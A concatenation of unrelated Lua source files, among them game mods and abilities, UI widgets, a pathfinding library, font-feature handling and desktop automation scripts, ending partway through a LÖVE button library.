local sha256_bytes = function(input)
local sha256 = resty_sha256:new()
sha256:update(input)
return sha256:final()
end
local sha256_hex = function(input)
local r = sha256_bytes(input)
return str.to_hex(r)
end
return {
sha256_bin = sha256_bytes,
sha256_hex = sha256_hex,
sha256 = sha256_hex,
}
|
return PlaceObj("ModDef", {
"title", "Remove SupplyPod Limit",
"id", "ChoGGi_RemoveSupplyPodLimit",
"steam_id", "2037219360",
"pops_any_uuid", "b13bcfad-df78-47f5-8834-c991e2d25a86",
"lua_revision", 1007000, -- Picard
"version", 3,
"version_major", 0,
"version_minor", 3,
"image", "Preview.jpg",
"author", "ChoGGi",
"code", {
"Code/Script.lua",
},
"TagGameplay", true,
"description", [[
Remove limit for Rovers/Drones (1/8 > 2/20) on supply pods.
Also removes 20 limit for drones (and anything else with a limit).
]],
})
|
local ComponentBase = cc.import(".ComponentBase")
local EditBoxComponent = cc.class("cc.EditBox", ComponentBase)
local ccrect = cc.rect
local EditBox = ccui.EditBox or cc.EditBox
local Scale9Sprite = ccui.Scale9Sprite or cc.Scale9Sprite
function EditBoxComponent:ctor(asset, assets)
EditBoxComponent.super.ctor(self)
local bg
if asset["_N$backgroundImage"] then
local uuid = asset["_N$backgroundImage"]["__uuid__"]
local spriteFrameAsset = assets:getAsset(uuid)
local spriteFrame = assets:_createObject(spriteFrameAsset)
local r = spriteFrameAsset["content"]["capInsets"]
local capInsets = ccrect(r[1], r[2], r[3], r[4])
bg = Scale9Sprite:createWithSpriteFrame(spriteFrame, capInsets)
end
local node = EditBox:create({width = 100, height = 20}, bg)
local fontSize = asset["_N$fontSize"] or 24
node:setFontSize(fontSize)
if asset["_N$inputFlag"] then
node:setInputFlag(asset["_N$inputFlag"])
end
if asset["_N$inputMode"] then
node:setInputMode(asset["_N$inputMode"])
end
if asset["_N$maxLength"] then
node:setMaxLength(asset["_N$maxLength"])
end
if asset["_N$fontColor"] then
node:setFontColor(asset["_N$fontColor"])
end
self.node = node
end
function EditBoxComponent:onLoad(target)
local node = self.node
target:addChild(node)
node:setContentSize(target.contentSize)
node:setColor(target:getColor())
node:setPosition(0, 0)
local ap = target.__anchorPoint
if not ap then
ap = {x = 0.5, y = 0.5}
end
node:setAnchorPoint(ap)
target:setAnchorPoint(ap)
end
function EditBoxComponent:onDestroy(target)
self.node = nil
end
return EditBoxComponent
|
-- Code created by Kwik - Copyright: kwiksher.com {{year}}
-- Version: {{vers}}
-- Project: {{ProjName}}
--
local _M = {}
local _K = require("Application")
--
-- local allAudios = {}
--
function _M:localPos(UI)
if {{atype}}.{{aname}} == nil then
{{#alang}}
{{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.._K.lang.."{{fileName}}", _K.systemDir)
{{/alang}}
{{^alang}}
{{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.."{{fileName}}", _K.systemDir)
{{/alang}}
end
-- audio
if {{atype}}.{{aname}} then
local a = audio.getDuration( {{atype}}.{{aname}} );
if a > UI.allAudios.kAutoPlay then
UI.allAudios.kAutoPlay = a
end
{{#allowRepeat}}
{{atype}}.{{aname}}x9 = 0
{{/allowRepeat}}
end
--/audio
end
function _M:didShow(UI)
-- audio
{{#aplay}}
{{#adelay}}
local myClosure_{{aname}} = function()
{{/adelay}}
audio.setVolume({{avol}}, { channel={{achannel}} });
{{#allowRepeat}}
if {{atype}}.{{aname}} == nil then return end
{{atype}}.{{aname}}x9 = audio.play({{atype}}.{{aname}}, { channel={{achannel}}, loops={{aloop}}{{tofade}} } )
{{/allowRepeat}}
{{^allowRepeat}}
if {{atype}}.{{aname}} == nil then return end
audio.play({{atype}}.{{aname}}, {channel={{achannel}}, loops={{aloop}}{{tofade}} } )
{{/allowRepeat}}
{{#adelay}}
end
_K.timerStash.{{tm}} = timer.performWithDelay({{adelay}}, myClosure_{{aname}}, 1)
{{/adelay}}
{{/aplay}}
--/audio
end
function _M:toDispose(UI)
-- audio
{{^akeep}}
if audio.isChannelActive ( {{achannel}} ) then
audio.stop({{achannel}})
end
{{/akeep}}
--/audio
end
--
function _M:toDestroy(UI)
{{^akeep}}
{{#allowRepeat}}
if ({{atype}}.{{aname}}x9 ~= 0) then
audio.dispose({{atype}}.{{aname}})
{{atype}}.{{aname}} = nil
{{atype}}.{{aname}}x9 = 0
end
{{/allowRepeat}}
{{^allowRepeat}}
if ({{atype}}.{{aname}} ~= 0) then
audio.dispose({{atype}}.{{aname}})
{{atype}}.{{aname}} = nil
end
{{/allowRepeat}}
{{/akeep}}
end
-- function audioDisposal(UI)
-- audio
-- {{^areadme}}
-- { {{achannel}}, "_K.allAudios.{{aname}}"},
-- {{/areadme}}
--/audio
-- end
function _M:getAudio(UI)
--UI.allAudios or _K.allAudios
if {{atype}}.{{aname}} == nil then
{{#alang}}
{{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.._K.lang.."{{fileName}}", _K.systemDir)
{{/alang}}
{{^alang}}
{{atype}}.{{aname}} = audio.{{loadType}}( _K.audioDir.."{{fileName}}", _K.systemDir)
{{/alang}}
end
return {{atype}}
end
return _M
|
--- Tweens color3s by HSV
-- @classmod Color3PropertyTweener
local require = require(game:GetService("ReplicatedStorage"):WaitForChild("Nevermore"))
local Spring = require("Spring")
local Color3PropertyTweener = {}
Color3PropertyTweener.ClassName = "Color3PropertyTweener"
Color3PropertyTweener.__index = Color3PropertyTweener
function Color3PropertyTweener.new(object, property)
local self = setmetatable({}, Color3PropertyTweener)
self._object = object or error("No oject")
self._property = property or error("No property")
local color = self._object[self._property]
if typeof(color) ~= "Color3" then
error(("Bad property %q, expected Color3, got %q"):format(self._property, typeof(color)))
end
local h, s, v = Color3.toHSV(color)
self._currentState = Spring.new(Vector3.new(h, s, v))
self._currentState.Speed = 20
return self
end
function Color3PropertyTweener:SetSpeed(speed)
self._currentState.Speed = speed or error("No speed")
end
function Color3PropertyTweener:Tween(target)
assert(typeof(target) == "Color3", "Target must be a Color3")
local h, s, v = Color3.toHSV(target)
self._currentState.Target = Vector3.new(h, s, v)
end
function Color3PropertyTweener:Update()
local current = self._currentState.Value
local h, s, v = current.x, current.y, current.z
local stillUpdating = (current - self._currentState.Target).Magnitude >= 1e-3
if not stillUpdating then
local target = self._currentState.Target
h, s, v = target.x, target.y, target.z
end
self._object[self._property] = Color3.fromHSV(h, s, v)
return stillUpdating
end
return Color3PropertyTweener
|
object_building_kashyyyk_mun_kash_signpost_refined_s01 = object_building_kashyyyk_shared_mun_kash_signpost_refined_s01:new {
}
ObjectTemplates:addTemplate(object_building_kashyyyk_mun_kash_signpost_refined_s01, "object/building/kashyyyk/mun_kash_signpost_refined_s01.iff")
|
local M = {}
M.MSG_SHOW = hash("show")
M.MSG_BACK = hash("back")
M.MSG_CLEAR_STACK = hash("clear_stack")
M.MSG_INIT = hash("init")
M.MSG_DISABLE = hash("disable")
M.MSG_ENABLE = hash("enable")
M.MSG_FINAL = hash("final")
M.MSG_UNLOAD = hash("unload")
M.MSG_PROXY_LOADED = hash("proxy_loaded")
M.MSG_RELEASE_INPUT= hash("release_input_focus")
M.MSG_ACQUIRE_INPUT= hash("acquire_input_focus")
M.MSG_SEND_INPUT = hash("scene_send_input")
M.METHOD_PUSH = hash("push")
return M
|
-- ------------------------------------------------------------------
-- Caffeine Replacement - Keep display awake when caffeine is active.
-- ------------------------------------------------------------------
local caffeine = hs.menubar.new()
function setCaffeineDisplay(state)
if state then
caffeine:setIcon(os.getenv("HOME") .. "/.hammerspoon/assets/caffeine-menu/active.png")
else
caffeine:setIcon(os.getenv("HOME") .. "/.hammerspoon/assets/caffeine-menu/inactive.png")
end
end
function caffeineClicked()
setCaffeineDisplay(hs.caffeinate.toggle("displayIdle"))
end
if caffeine then
caffeine:setClickCallback(caffeineClicked)
setCaffeineDisplay(hs.caffeinate.get("displayIdle"))
end
|
--
-- astar.lua
-- lua-astar
--
-- Based on John Eriksson's Python A* implementation.
-- http://www.pygame.org/project-AStar-195-.html
--
-- Created by Jay Roberts on 2011-01-08.
-- Copyright 2011 Jay Roberts All rights reserved.
--
-- Licensed under the MIT License
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-- THE SOFTWARE.
require 'lib.astar.middleclass'
Path = class('Path')
function Path:initialize(nodes, totalCost)
self.nodes = nodes
self.totalCost = totalCost
end
function Path:getNodes()
return self.nodes
end
function Path:getTotalMoveCost()
return self.totalCost
end
Node = class('Node')
function Node:initialize(location, mCost, lid, parent)
self.location = location -- Where is the node located
self.mCost = mCost -- Total move cost to reach this node
self.parent = parent -- Parent node
self.score = 0 -- Calculated score for this node
self.lid = lid -- set the location id - unique for each location in the map
end
function Node.__eq(a, b)
return a.lid == b.lid
end
AStar = class('AStar')
function AStar:initialize(maphandler)
self.mh = maphandler
end
function AStar:_getBestOpenNode()
local bestNode = nil
for lid, n in pairs(self.open) do
if bestNode == nil then
bestNode = n
else
if n.score <= bestNode.score then
bestNode = n
end
end
end
return bestNode
end
function AStar:_tracePath(n)
local nodes = {}
local totalCost = n.mCost
local p = n.parent
table.insert(nodes, 1, n)
while true do
if p.parent == nil then
break
end
table.insert(nodes, 1, p)
p = p.parent
end
return Path(nodes, totalCost)
end
function AStar:_handleNode(node, goal)
self.open[node.lid] = nil
self.closed[node.lid] = node.lid
assert(node.location ~= nil, 'About to pass a node with nil location to getAdjacentNodes')
local nodes = self.mh:getAdjacentNodes(node, goal)
for lid, n in pairs(nodes) do repeat
if self.mh:locationsAreEqual(n.location, goal) then
return n
elseif self.closed[n.lid] ~= nil then -- Alread in close, skip this
break
elseif self.open[n.lid] ~= nil then -- Already in open, check if better score
local on = self.open[n.lid]
if n.mCost < on.mCost then
self.open[n.lid] = nil
self.open[n.lid] = n
end
else -- New node, append to open list
self.open[n.lid] = n
end
until true end
return nil
end
function AStar:findPath(fromlocation, tolocation)
self.open = {}
self.closed = {}
local goal = tolocation
local fnode = self.mh:getNode(fromlocation)
local nextNode = nil
if fnode ~= nil then
self.open[fnode.lid] = fnode
nextNode = fnode
end
while nextNode ~= nil do
local finish = self:_handleNode(nextNode, goal)
if finish then
return self:_tracePath(finish)
end
nextNode = self:_getBestOpenNode()
end
return nil
end
|
if not modules then modules = { } end modules ['good-ini'] = {
version = 1.000,
comment = "companion to font-lib.mkiv",
author = "Hans Hagen, PRAGMA-ADE, Hasselt NL",
copyright = "PRAGMA ADE / ConTeXt Development Team",
license = "see context related readme files"
}
-- depends on ctx
local type, next = type, next
local gmatch = string.gmatch
local fonts = fonts
local trace_goodies = false trackers.register("fonts.goodies", function(v) trace_goodies = v end)
local report_goodies = logs.reporter("fonts","goodies")
local allocate = utilities.storage.allocate
local implement = interfaces.implement
local findfile = resolvers.findfile
local formatters = string.formatters
local otf = fonts.handlers.otf
local afm = fonts.handlers.afm
local tfm = fonts.handlers.tfm
local registerotffeature = otf.features.register
local registerafmfeature = afm.features.register
local registertfmfeature = tfm.features.register
local addotffeature = otf.enhancers.addfeature
local fontgoodies = fonts.goodies or { }
fonts.goodies = fontgoodies
local data = fontgoodies.data or { }
fontgoodies.data = data -- no allocate as we want to see what is there
local list = fontgoodies.list or { }
fontgoodies.list = list -- no allocate as we want to see what is there
fontgoodies.suffixes = { "lfg", "lua" } -- lfg is context specific and should not be used elsewhere
function fontgoodies.report(what,trace,goodies)
if trace_goodies or trace then
local whatever = goodies[what]
if whatever then
report_goodies("goodie %a found in %a",what,goodies.name)
end
end
end
local function locate(filename)
local suffixes = fontgoodies.suffixes
for i=1,#suffixes do
local suffix = suffixes[i]
local fullname = findfile(file.addsuffix(filename,suffix))
if fullname and fullname ~= "" then
return fullname
end
end
end
local function loadgoodies(filename) -- maybe a merge is better
local goodies = data[filename] -- we assume no suffix is given
if goodies ~= nil then
-- found or tagged unfound
elseif type(filename) == "string" then
local fullname = locate(filename)
if not fullname or fullname == "" then
report_goodies("goodie file %a is not found (suffixes: % t)",filename,fontgoodies.suffixes)
data[filename] = false -- signal for not found
else
goodies = dofile(fullname) or false
if not goodies then
report_goodies("goodie file %a is invalid",fullname)
return nil
elseif trace_goodies then
report_goodies("goodie file %a is loaded",fullname)
end
goodies.name = goodies.name or "no name"
for name, fnc in next, list do
if trace_goodies then
report_goodies("handling goodie %a",name)
end
fnc(goodies)
end
goodies.initialized = true
data[filename] = goodies
end
end
return goodies
end
function fontgoodies.register(name,fnc) -- will be a proper sequencer
list[name] = fnc
end
fontgoodies.load = loadgoodies
if implement then
implement {
name = "loadfontgoodies",
actions = loadgoodies,
arguments = "string",
overload = true, -- for now, permits new font loader
}
end
-- register goodies file
local function setgoodies(tfmdata,value)
local goodies = tfmdata.goodies
if not goodies then -- actually an error
goodies = { }
tfmdata.goodies = goodies
end
for filename in gmatch(value,"[^, ]+") do
-- we need to check for duplicates
local ok = loadgoodies(filename)
if ok then
if trace_goodies then
report_goodies("assigning goodie %a",filename)
end
goodies[#goodies+1] = ok
end
end
end
-- featuresets
local function flattenedfeatures(t,tt)
-- first set value dominates
local tt = tt or { }
for i=1,#t do
local ti = t[i]
if type(ti) == "table" then
flattenedfeatures(ti,tt)
elseif tt[ti] == nil then
tt[ti] = true
end
end
for k, v in next, t do
if type(k) ~= "number" then -- not tonumber(k)
if type(v) == "table" then
flattenedfeatures(v,tt)
elseif tt[k] == nil then
tt[k] = v
end
end
end
return tt
end
-- fonts.features.flattened = flattenedfeatures
local function prepare_features(goodies,name,set)
if set then
local ff = flattenedfeatures(set)
local fullname = goodies.name .. "::" .. name
local n, s = fonts.specifiers.presetcontext(fullname,"",ff)
goodies.featuresets[name] = s -- set
if trace_goodies then
report_goodies("feature set %a gets number %a and name %a",name,n,fullname)
end
return n
end
end
fontgoodies.prepare_features = prepare_features
local function initialize(goodies)
local featuresets = goodies.featuresets
if featuresets then
if trace_goodies then
report_goodies("checking featuresets in %a",goodies.name)
end
for name, set in next, featuresets do
prepare_features(goodies,name,set)
end
end
end
fontgoodies.register("featureset",initialize)
local function setfeatureset(tfmdata,set,features)
local goodies = tfmdata.goodies -- shared ?
if goodies then
local properties = tfmdata.properties
local what
for i=1,#goodies do
-- last one wins
local g = goodies[i]
what = g.featuresets and g.featuresets[set] or what
end
if what then
for feature, value in next, what do
if features[feature] == nil then
features[feature] = value
end
end
properties.mode = what.mode or properties.mode
end
end
end
-- postprocessors (we could hash processor and share code)
function fontgoodies.registerpostprocessor(tfmdata,f,prepend)
local postprocessors = tfmdata.postprocessors
if not postprocessors then
tfmdata.postprocessors = { f }
elseif prepend then
table.insert(postprocessors,f,1)
else
table.insert(postprocessors,f)
end
end
local function setpostprocessor(tfmdata,processor)
local goodies = tfmdata.goodies
if goodies and type(processor) == "string" then
local found = { }
local asked = utilities.parsers.settings_to_array(processor)
for i=1,#goodies do
local g = goodies[i]
local p = g.postprocessors
if p then
for i=1,#asked do
local a = asked[i]
local f = p[a]
if type(f) == "function" then
found[a] = f
end
end
end
end
local postprocessors = tfmdata.postprocessors or { }
for i=1,#asked do
local a = asked[i]
local f = found[a]
if f then
postprocessors[#postprocessors+1] = f
end
end
if #postprocessors > 0 then
tfmdata.postprocessors = postprocessors
end
end
end
local function setextrafeatures(tfmdata)
local goodies = tfmdata.goodies
if goodies then
for i=1,#goodies do
local g = goodies[i]
local f = g.features
if f then
for feature, specification in next, f do
addotffeature(tfmdata.shared.rawdata,feature,specification)
registerotffeature {
name = feature,
description = formatters["extra: %s"](feature)
}
end
end
end
end
end
local function setextensions(tfmdata)
local goodies = tfmdata.goodies
if goodies then
for i=1,#goodies do
local g = goodies[i]
local e = g.extensions
if e then
local goodie = g.name or "unknown"
for i=1,#e do
local name = "extension-" .. i
-- report_goodies("adding extension %s from %s",name,goodie)
otf.enhancers.addfeature(tfmdata.shared.rawdata,name,e[i])
end
end
end
end
end
-- installation
local goodies_specification = {
name = "goodies",
description = "goodies on top of built in features",
initializers = {
position = 1,
base = setgoodies,
node = setgoodies,
}
}
registerotffeature(goodies_specification)
registerafmfeature(goodies_specification)
registertfmfeature(goodies_specification)
-- maybe more of the following could be for type one too
registerotffeature {
name = "extrafeatures",
description = "extra features",
default = true,
initializers = {
position = 2,
base = setextrafeatures,
node = setextrafeatures,
}
}
registerotffeature {
name = "extensions",
description = "extensions to features",
default = true,
initializers = {
position = 2,
base = setextensions,
node = setextensions,
}
}
registerotffeature {
name = "featureset",
description = "goodie feature set",
initializers = {
position = 3,
base = setfeatureset,
node = setfeatureset,
}
}
registerotffeature {
name = "postprocessor",
description = "goodie postprocessor",
initializers = {
base = setpostprocessor,
node = setpostprocessor,
}
}
|
faceless_void_time_lock_oaa = class( AbilityBaseClass )
LinkLuaModifier( "modifier_faceless_void_time_lock_oaa", "abilities/oaa_time_lock.lua", LUA_MODIFIER_MOTION_NONE )
--------------------------------------------------------------------------------
function faceless_void_time_lock_oaa:GetIntrinsicModifierName()
return "modifier_faceless_void_time_lock_oaa"
end
function faceless_void_time_lock_oaa:ShouldUseResources()
return true
end
--------------------------------------------------------------------------------
modifier_faceless_void_time_lock_oaa = class( ModifierBaseClass )
--------------------------------------------------------------------------------
function modifier_faceless_void_time_lock_oaa:IsHidden()
return true
end
function modifier_faceless_void_time_lock_oaa:IsDebuff()
return false
end
function modifier_faceless_void_time_lock_oaa:IsPurgable()
return false
end
function modifier_faceless_void_time_lock_oaa:RemoveOnDeath()
return false
end
--------------------------------------------------------------------------------
function modifier_faceless_void_time_lock_oaa:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_PROCATTACK_BONUS_DAMAGE_MAGICAL,
}
return funcs
end
--------------------------------------------------------------------------------
if IsServer() then
-- we're putting the stuff in this function because it's only run on a successful attack
-- and it runs before OnAttackLanded, so we need to determine if a bash happens before then
function modifier_faceless_void_time_lock_oaa:GetModifierProcAttack_BonusDamage_Magical( event )
local parent = self:GetParent()
-- no bash while broken or illusion
if parent:PassivesDisabled() or parent:IsIllusion() then
return 0
end
local target = event.target
-- can't bash towers or wards, but can bash allies
if UnitFilter( target, DOTA_UNIT_TARGET_TEAM_BOTH, bit.bor( DOTA_UNIT_TARGET_HERO, DOTA_UNIT_TARGET_BASIC ), DOTA_UNIT_TARGET_FLAG_MAGIC_IMMUNE_ENEMIES, parent:GetTeamNumber() ) ~= UF_SUCCESS then
return 0
end
local spell = self:GetAbility()
-- don't bash while on cooldown
if not spell:IsCooldownReady() then
return 0
end
local chance = spell:GetSpecialValueFor( "chance_pct" ) / 100
-- we're using the modifier's stack to store the amount of prng failures
-- this could be something else but since this modifier is hidden anyway ...
local prngMult = self:GetStackCount() + 1
-- compared prng to slightly less prng
if RandomFloat( 0.0, 1.0 ) <= ( PrdCFinder:GetCForP(chance) * prngMult ) then
-- reset failure count
self:SetStackCount( 0 )
local duration = spell:GetSpecialValueFor( "duration" )
-- creeps have a different duration
if not target:IsHero() then
duration = spell:GetSpecialValueFor( "duration_creep" )
end
-- apply the stun modifier
target:AddNewModifier( parent, spell, "modifier_faceless_void_timelock_freeze", { duration = duration } )
target:EmitSound( "Hero_FacelessVoid.TimeLockImpact" )
-- use cooldown ( and mana, if necessary )
spell:UseResources( true, true, true )
-- because talents are dumb we need to manually get its value
local damageTalent = 0
local dtalent = parent:FindAbilityByName( "special_bonus_unique_faceless_void_3" )
-- we also have to manually check if it's been skilled or not
if dtalent and dtalent:GetLevel() > 0 then
damageTalent = dtalent:GetSpecialValueFor( "value" )
end
-- apply the proc damage
return spell:GetSpecialValueFor( "bonus_damage" ) + damageTalent
else
-- increment failure count
self:SetStackCount( prngMult )
return 0
end
end
end
|
-- -------------------------------------------------------------------------------------
-- Including Standard Awesome Libraries
local awful = require("awful")
local gears = require("gears")
local wibox = require("wibox")
local naughty = require("naughty")
local beautiful = require("beautiful").startscreen.webcam
-- -------------------------------------------------------------------------------------
-- Including Custom Helper Libraries
local helpers = require("helpers")
-- -------------------------------------------------------------------------------------
-- Creating the Webcam Widget
local webcam_icon = wibox.widget {
image = beautiful.icon,
resize = true,
forced_width = beautiful.icon_size,
forced_height = beautiful.icon_size,
widget = wibox.widget.imagebox
}
local centered = helpers.centered
local webcam = wibox.widget {
centered(
centered(webcam_icon, "horizontal"),
"vertical"
),
bg = beautiful.bg,
shape = helpers.rrect(beautiful.border_radius or 0),
forced_width = beautiful.width,
forced_height = beautiful.height,
widget = wibox.container.background
}
helpers.add_clickable_effect(
webcam,
function()
webcam.bg = beautiful.bg_hover
end,
function()
webcam.bg = beautiful.bg
end
)
-- -------------------------------------------------------------------------------------
-- Adding Button Controls to the Widget
webcam:buttons(gears.table.join(
-- Left click - Open webcam
awful.button({}, 1, function()
awful.spawn.with_shell("cheese")
end)
))
-- -------------------------------------------------------------------------------------
return webcam
|
local format = string.format
local function printf(fmt, ...)
print(format(fmt, ...))
end
local name = "Ciccio"
printf("Ciao %s, come stai ?", name)
local a, b = 3.25, 225
printf("Some numbers, float: %g, integer: %i", a, b)
|
#!/usr/bin/env lua
--------------------------------------------------------------------------------
-- @script OiL Interface Repository Daemon
-- @version 1.2
-- @author Renato Maia <maia@tecgraf.puc-rio.br>
--
print("OiL Interface Repository 1.2 Copyright (C) 2005-2008 Tecgraf, PUC-Rio")
local _G = require "_G"
local io = require "io"
local os = require "os"
local oil = require "oil"
local verbose = require "oil.verbose"
local Arguments = require "loop.compiler.Arguments"
local args = Arguments{
_optpat = "^%-%-(%w+)(=?)(.-)$",
verb = 0,
port = 0,
ior = "",
}
function args.log(optlist, optname, optvalue)
local file, errmsg = io.open(optvalue, "w")
if file
then verbose:output(file)
else return errmsg
end
end
local argidx, errmsg = args(...)
if not argidx then
io.stderr:write([[
ERROR: ]],errmsg,[[
Usage: ird.lua [options] <idlfiles>
Options:
--verb <level>
--log <file>
--ior <file>
--port <number>
]])
os.exit(1)
end
local files = { _G.select(argidx, ...) }
oil.main(function()
verbose:level(args.verb)
local orb = (args.port > 0) and oil.init{port=args.port} or oil.init()
local ir = orb:getLIR()
if args.ior ~= "" then oil.writeto(args.ior, tostring(ir)) end
for _, file in _G.ipairs(files) do
orb:loadidlfile(file)
end
end)
|
local function send_json(channel, data)
data = game.table_to_json(data)
print("\f$ipc:" .. channel .. "?j" .. data)
end
script.on_init(function()
send_json("mod_list", game.active_mods)
end)
|
local Tunnel = module("vrp", "lib/Tunnel")
local Proxy = module("vrp", "lib/Proxy")
vRP = Proxy.getInterface("vRP")
vRPserver = Tunnel.getInterface("vRP")
Passos = Tunnel.getInterface("vrp_interacao")
vRPmenu_ = {}
Tunnel.bindInterface("vrp_interacao", vRPmenu_)
Proxy.addInterface("vrp_interacao", vRPmenu_)
-- Criado por [Discord: Passos#3717]
--=============================================================================================--
-- Executar Comando
--=============================================================================================--
function vRPmenu_.ExecuteCommand(comando)
return ExecuteCommand(comando)
end
--=============================================================================================--
-- Cancelar Animacoes
--=============================================================================================--
function vRPmenu_.cancelAnimations()
local ped = PlayerPedId()
if not IsEntityDead(ped) then
vRP.DeletarObjeto()
ClearPedTasks(ped)
end
end
--=============================================================================================--
-- Notificacao
--=============================================================================================--
function vRPmenu_.notify(texto)
SetNotificationTextEntry("STRING")
AddTextComponentString(texto)
DrawNotification(true, false)
end
--=============================================================================================--
-- Abrir Menu
--=============================================================================================--
Citizen.CreateThread(function()
while true do
Citizen.Wait(1)
if IsControlJustPressed(0, 311) then
Passos.menuInteracao()
end
end
end)
|
local button = {}
button.__index = button
button._version = "0.7.0"
local ORIGIN = {x = 0, y = 0}
local lg = love.graphics
-- run at bottom of main update function
-------------------------------------------
-------------Local Functions---------------
-------------------------------------------
local lg = love.graphics
local function dist(x1, y1, x2, y2, squared)
local dx = x1 - x2
local dy = y1 - y2
local s = dx * dx + dy * dy
return squared and s or math.sqrt(s)
end
-- return image from string path or passed drawable
local function formatImage( image )
-- assert(image, "Required image not passed.")
if type(image) == "string" then
return lg.newImage(image)
elseif pcall(function() image:typeOf("Drawable") end) then
return image
elseif not image then return nil
else
error("Parameter passed not valid. Must be either path to drawable, or drawable type.")
end
end
local function inside(tab, var)
for k,v in pairs(tab) do
if v == var then
return true
end
end
return false
end
local function uncapitalize(str)
return string.lower(str:sub(1, 1))..str:sub(2, string.len(str))
end
local function formatVariable(var, ...)
local l = ...
local s = ""
s = (inside(l, "pressed") and "Pressed") or (inside(l, "hover") and s.."Hover" or s) or s
s = inside(l, "selected") and s.."Selected" or s
-- format capitalization
s = s..var:gsub("^%l", string.upper)
s = s:gsub("^%l", string.lower)
return uncapitalize(s)
end
-- iterates through similar vars and formats variable name
local function simVarIter(main)
local t = {"", "hover", "pressed", "selected", "hoverSelected", "pressedSelected"}
local i = 0
return function()
i = i + 1
if i <= #t then return uncapitalize(t[i]..main) end
end
end
local function merge(default, extra)
if not extra then return default end
for k,v in pairs(extra) do
default[k] = v
end
return default
end
local function average(tab)
local t = 0
for k,v in pairs(tab) do
t = t + v
end
return t / #tab
end
local function getDefault()
return {
font = lg.getFont(), rotation = 0,
fitText = false, fitHoverText = true, visible = true,
requireSelfClick = true, -- require press to happen in this button, then release in this button.
parent = ORIGIN,
-- Keep in mind, you cannot be pressed while not being hovered.
-- Variables for when the button is not hovered, or selected.
text = "", -- text to print
textRotation = 0,
textColor = {1,1,1,1}, -- color of text
textBackgroundColor = {0,0,0,0}, -- DOUBLE CHECK highlight color of text?
textBackgroundBuffer = 1, -- Buffer in pixels for surrounding highlight.
textXOffset = 0, -- Horizontal text offset within button. Note, doesn't have to be inside button.
textYOffset = 0, -- Vertical offset within button
image = nil, -- Image to draw, has to be lg.newImage, not path to image. You can use formatImage.
color = {1,1,1,1}, -- color of main button area.
outlineColor = {0,0,0,0}, -- Color of outline draw.
outlineWidth = 0, -- Width of outline
-- isHovering
-- Button state while hovered, but not selected.
hoverText = "",
hoverTextRotation = 0,
hoverTextColor = {1,1,1,1},
hoverTextBackgroundColor = {0,0,0,0},
hoverTextBackgroundBuffer = 1,
hoverImage = nil, -- not selected; hovered; not pressed
hoverColor = {0.8,0.8,0.8,1},
hoverOutlineColor = {0,0,0,0},
hoverOutlineWidth = 1,
isHovering = false,
-- additional hover variables
promptOffsetX = 0, promptOffsetY = 0,
hoverTime = 0,
hoverFuncTime = 1,
hoverPromptTime = 1,
isPrompting = false,
lockPromptToWindow = true,
-- Button state while pressed but not selected,
-- AKA trigger mouse/keyboard held while hovering over the button not yet triggered.
pressedText = "",
pressedTextRotation = 0,
pressedTextColor = {1,1,1,1},
pressedTextBackgroundColor = {0,0,0,0},
pressedTextBackgroundBuffer = 1,
pressedImage = nil, -- not selected; hovered; pressed
pressedColor = {0.7,0.7,0.7,1},
pressedOutlineColor = {0,0,0,0},
pressedOutlineWidth = 1,
isPressed = false,
-- Button state selected, not pressed.
selectedText = "",
selectedTextRotation = 0,
selectedTextColor = {1,1,1,1},
selectedTextBackgroundColor = {0,0,0,0},
selectedTextBackgroundBuffer = 1,
selectedImage = nil, -- selected; not hovered; not pressed
selectedColor = {1,1,1,1},
selectedOutlineColor = {0,0,0,0},
selectedOutlineWidth = 1,
selected = false,
selectable = true,
-- selectable refers to if it can be selected despite if it is visible. Usually will == visible
-- Button state selected and hovered, not pressed
hoverSelectedText = "",
hoverSelectedTextRotation = 0,
hoverSelectedTextColor = {1,1,1,1},
hoverSelectedTextBackgroundColor = {0,0,0,0},
hoverSelectedTextBackgroundBuffer = 1,
hoverSelectedImage = nil, -- selected; hovered; not pressed
hoverSelectedColor = {0.8,0.8,0.8,1},
hoverSelectedOutlineColor = {0,0,0,0},
hoverSelectedOutlineWidth = 1,
-- Button state selected and pressed
pressedSelectedText = "",
pressedSelectedTextRotation = 0,
pressedSelectedTextColor = {1,1,1,1},
pressedSelectedTextBackgroundColor = {0,0,0,0},
pressedSelectedTextBackgroundBuffer = 1,
pressedSelectedImage = nil, -- selected; hovered; pressed
pressedSelectedColor = {0.7,0.7,0.7,1},
pressedSelectedOutlineColor = {0,0,0,0},
pressedSelectedOutlineWidth = 1,
--
hoverPromptText = "",
hoverPromptTextRotation = 0,
promptFont = lg.getFont(),
promptTextColor = {1,1,1,1},
promptTextBackgroundColor = {0,0,0,0},
promptTextBackgroundBuffer = 1,
promptColor = {0,0,0,0},
promptOutlineColor = {0,0,0,0},
promptOutlineWidth = 1,
promptXBuffer = 2, -- this is the extra space around prompt text
promptYBuffer = 2, -- this is the extra space around prompt text
triggerMouse = {1}, triggerKeyboard = {}, -- array of buttons to detect isDown
}
end
--------------------------------------------
--------------Global Functions--------------
--------------------------------------------
--------------------------------------------
----------------Constructors----------------
--------------------------------------------
function button.newPolygonButton(x, y, vertices, extra)
assert(type(vertices) == "table", "Parameter #3 requires table of vertices.")
local properties = getDefault()
properties.shape = lg.polygon
properties.vertices = vertices
properties.x, properties.y = x, y
properties = merge(properties, extra)
local minx, miny, maxx, maxy = math.huge, math.huge, -math.huge, -math.huge
local xt, yt = {}, {}
for i = 1, #vertices, 2 do
